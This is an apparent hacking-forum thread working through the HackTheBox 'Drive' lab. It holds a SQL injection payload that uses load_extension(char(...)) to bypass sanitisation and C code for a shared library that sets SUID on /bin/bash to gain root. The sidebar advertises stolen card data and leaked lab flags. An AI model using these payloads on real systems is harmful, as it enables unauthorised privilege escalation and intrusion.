Temporary Advertisements:
Ad
Ad
Ad
HTB - Drive [Discussion]
by 11231123 - Saturday October 14, 2023 at 06:37 PM
#51
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash
Reply
#52
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + "))+\"")

then build a shared library and move it to /home/tom/
Reply
#53
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile
Reply
#54
(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile


wdym how u should use it? if you found where to put the load_extension thing then just put it there.
if your asking about how to build a shared library then here it is:
//gcc -shared name.c -o name.so -nostartfiles -fPIC

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/chmod +s /bin/bash");
}
Reply
#55
(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing
Reply
#56
(Oct 16, 2023, 03:19 PM)r4yl3x Wrote:
(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing


yeah, it works for me, chmod +x your .so lib and check your payload

(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile


open your dms tho, i cant reply
Reply
#57
(Oct 16, 2023, 03:30 PM)blade33 Wrote:
(Oct 16, 2023, 03:19 PM)r4yl3x Wrote:
(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote: I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile

Hi, do you mean to put this in the username field of the activate user or what? i've tried thsat but nothing


yeah, it works for me, chmod +x your .so lib and check your payload

(Oct 16, 2023, 02:57 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:48 PM)blade33 Wrote:
(Oct 16, 2023, 02:27 PM)CiccioFa Wrote:
(Oct 16, 2023, 02:12 PM)cavour13 Wrote: Hi guys ! i m trying to debug the suid anyone got the sanitzation exploit work?

I dont know what use to bypass the sanitization, someone said ASCII but ive never used it to work on SQL+bash


line = "./1"
print("\"+load_extension(char(" + ",".join(map(str, map(ord, line))) + ")\"")

then build a shared library and move it to /home/tom/

How should i use it? never build and used shared library for exploit Smile


open your dms tho, i cant reply

done
Reply
#58
Hi guys, I've managed to get to the root part, checked all the paths for the "cli" file, but no luck. Checking now the binary with hexedit, but it seems  that I'm not getting where I should put my payload to extract the users from db or where to edit it, can someone help?
Reply
#59
(Oct 15, 2023, 02:52 PM)manamana Wrote: stuck to bypass / on `load_extension`, because it limit 40 chars, any hit?

How do you know that we have to use load_extension? I've rooted using this method but where is the thread that I'm missing. PM or reply would be awesome.
Reply
#60
(Oct 17, 2023, 10:37 PM)hofu Wrote:
(Oct 17, 2023, 09:40 AM)pizzaguy Wrote: Hi guys, I've managed to get to the root part, checked all the paths for the "cli" file, but no luck. Checking now the binary with hexedit, but it seems  that I'm not getting where I should put my payload to extract the users from db or where to edit it, can someone help?

When you got the binary analyze it with Ghidra and when you go through the functions you'll find in the main the user/password to start the cli. In the main_menu check the case5 their is a activate_user method with a SQLi
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"

Check out Run-Time Loadable Extensions and write your extension which copy out root.txt, reverse shell,suid bash...

HINT: Check out the /tmp folder maybe some other has done it already. Angel

Hi!.. thanks for the explanation. I saw that you told us, I created the shared library, but i cannot put correctly the sqli, because the sanitize functions keeps removing the spaces and semicolon, i noticed that i can use the TAB key, but the problem is with the semicolon. What do you suggest ?

Thanks!!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  WE ARE BACK JUST LIKE LEGENDZFORUM GUYZ.OUR TELEGRAM https://t.me/rayhush Hit me up goagaintodds 0 51 3 hours ago
Last Post: goagaintodds
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,961 Today, 05:21 AM
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 34,984 Today, 03:09 AM
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 113 Yesterday, 11:06 PM
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,429 Yesterday, 06:21 PM
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: 1 Guest(s)